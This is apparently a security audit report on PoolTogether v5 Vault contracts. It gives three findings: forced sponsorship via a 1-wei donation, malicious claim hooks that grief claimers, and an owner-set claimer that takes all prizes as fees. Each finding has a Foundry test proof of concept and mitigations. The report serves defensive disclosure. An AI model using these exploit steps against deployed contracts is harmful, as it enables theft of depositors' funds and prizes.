PoolTogether - 3docSec's results

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L480 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L988

Vulnerability details

The Vault's sponsor function is designed to allow "on-behalf-sponsoring" the protocol: user A donates assets to B who will lock these assets to sponsor the protocol (that is, contribute to yield generation without harvesting).

However, when B is already holding a balance, A can donate as little as 1 wei of assets to force the full balance of B into sponsorship.

As a consequence, any user can be forced into sponsorship with their full balance by a malicious actor at near-zero cost.

Impact

• In the worst case, the user does not notice the change and loses all their chances to harvest yield for an extended period of time.
• An attacker participating in the vault has a financial interest in perpetrating the attack because forcing other users into sponsorship decreases the vault supply, and this indirectly increases the weight of their own shares in prizes assignment.

Proof of Concept

The following unit test can be added to Deposit.t.sol to prove the attack feasibility and impact:

  function testSponsorUnwanted() external {
    uint256 oneKETH = 1_000 ether;
    uint256 oneWei = 1 wei;

    underlyingAsset.mint(alice, oneWei);
    underlyingAsset.mint(bob, oneKETH);

    // bob is happy to put their their 1k coins at work
    // hopefully the protocol will draw some juicy prizes soon
    vm.startPrank(bob);
    underlyingAsset.approve(address(vault), oneKETH);
    vault.mint(oneKETH, bob);
    (, ObservationLib.Observation memory newestObservation) = twabController.getNewestObservation(address(vault), bob);
    assertEq(oneKETH, newestObservation.balance);
    (, ObservationLib.Observation memory newestSupplyObservation) = twabController.getNewestTotalSupplyObservation(address(vault));
    assertEq(oneKETH, newestSupplyObservation.balance);

    // alice however forces bob into sponsoring the protocol
    vm.stopPrank();
    vm.startPrank(alice);
    underlyingAsset.approve(address(vault), oneWei);
    vault.sponsor(oneWei, bob);

    // now bob's 1k coins are no longer at work
    (, ObservationLib.Observation memory newestObservation2) = twabController.getNewestObservation(address(vault), bob);
    assertEq(0, newestObservation2.balance);

    // and the total supply for the vault is shrinked, so other users' chances of getting prizes increase at bob's expense
    (, ObservationLib.Observation memory newestSupplyObservation2) = twabController.getNewestTotalSupplyObservation(address(vault));
    assertEq(0, newestSupplyObservation2.balance);
  }

Tools Used

Manual review

Recommended Mitigation Steps

• modify Vault.sol to allow the "sponsor" function only if the recipient balance is zero. This however has limitations because a malicious "sponsor" call may still be successful when front-running large deposits
• require the recipient's collaboration in the process, which may be in the form of:
  • requiring a signature from them
  • requiring that recipient initiates the transaction i.e. with the sender having previously approved the funds

Assessed type

Rug-Pull

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1053 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1068

Vulnerability details

Claimers collect users' prizes in batches. Any user can plug their own logic to this process.

Impact

A malicious user can craft a hook that reverts explicitly, burns an arbitrary amount of gas, or even executes "gas-free" logic at the expense of the claimer.

Proof of Concept

The following test can be added to Vault.t.sol to show the basic case (immediate revert).

  function testBrokenClaimPrize() public {
    VaultHooks memory brokenHooks;
    brokenHooks.useBeforeClaimPrize = true;
    brokenHooks.implementation = IVaultHooks(address(0));
    vm.prank(alice);
    vault.setHooks(brokenHooks);

    vm.expectRevert();
    vm.startPrank(address(claimer));
    mockPrizePoolClaimPrize(uint8(1), alice, 0, 1e18, address(claimer));
    claimPrize(uint8(1), alice /* and other people... */, 0, 1e18, address(claimer));
    vm.stopPrank();
  }

Tools Used

Manual review

Recommended Mitigation Steps

• define a reasonable gas cap to the "pre" and "post" hook calls
• add a "try" block to the calls: for example, if the "pre" calls fails to retrieve the beneficiary address, an event can be raised and the prize claiming could be skipped for the user
• to further prevent a loss of funds in case of mistakes, check that the returned address is not the zero address

Assessed type

call/delegatecall

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L643 https://github.com/GenerationSoftware/pt-v5-prize-pool/blob/4bc8a12b857856828c018510b5500d722b79ca3a/src/PrizePool.sol#L417

Vulnerability details

The Vault seems to be intended for a trustless environment: anybody can create it through VaultFactory, and this builds trust by keeping proof of good intentions via keeping track of the implementation a vault was created from.

However, a trusted implementation is not sufficient to trust a vault: the vault creator retains ownership, which can be used to set the claimer at any time, potentially to a malicious one.

Impact

The claimer itself can, in the worst case, claim prizes individually, charging a fee equal to the prize, in fact stealing all prizes.

Proof of Concept

Under the assumption that the vault owner can set the claimer - this is by design, the following UT can be added to PrizePool.t.sol to prove how a fee can be tailored to steal the full prize:

  function testClaimPrize_stolenByFee() public {
    contribute(100e18);
    closeDraw(winningRandomNumber);
    mockTwab(address(this), msg.sender, 0);
    // total prize size is returned
    vm.expectEmit();
    emit IncreaseClaimRewards(address(this), 4.5454545454545454e18);
    claimPrize(msg.sender, 0, 0, 4.5454545454545454e18, address(this));
    // grand prize is (100/220) * 0.1 * 100e18 = 4.5454...e18
    assertEq(prizeToken.balanceOf(msg.sender), 0, "user balance after claim");
    assertEq(prizePool.claimCount(), 1);
    assertEq(prizePool.balanceOfClaimRewards(address(this)), 4.5454545454545454e18);
  }

Tools Used

Visual inspection

Recommended Mitigation Steps

• (my personal favorite mitigation) add an extra hook allowing users to specify the claimer that is entitled to claim prizes on their behalf; use the contract's owner-defined only as fallback

or

• make the claimer immutable

Assessed type

Access Control

Project description

The protocol fundamentally facilitates users with yield farming. Users can create Vaults via a provided VaultFactory, and maintain or delegate their ownership.

Once a Vault is created (this happens via a VaultFactory contract), anybody can deposit ERC-20 assets (i.e. USDC), and receive back Vault-issued ERC-20 tokens in exchange, representing the depositor's share of assets managed by the vault.

When a user deposits assets to the Vault, the Vault immediately forwards them to the YieldVault (set at Vault creation). Also, it outsources the keeping track of Vault token balances to a central contract, TwabController, that provides the additional functionality to keep track of historical balances.

TwabController tracks user balances of vault tokens. It allows for delegating tokens to another account. Within TwabController, the sum of tokens held by an account and those delegated by others contribute is the baseline used to distribute the harvested yield.

Harvested yields are distributed by the PrizePool contract through a Claimer contract, whose primary goal is to aggregate prize claims to save gas, and prizes are randomly assigned to users with odds proportional to the ratio between their time-weighted balance of Vault tokens and the vault time-weighted Vault token supply.

Suggestions

• as mentioned in a dedicated finding, the Vault ownership poses a serious centralization risk, potentially even on a non-trusted entity
• another more obvious centralization risk comes from the pool closing & random number generation. I acknowledge however how this is a tradeoff to avoid MEV

Time spent:

20 hours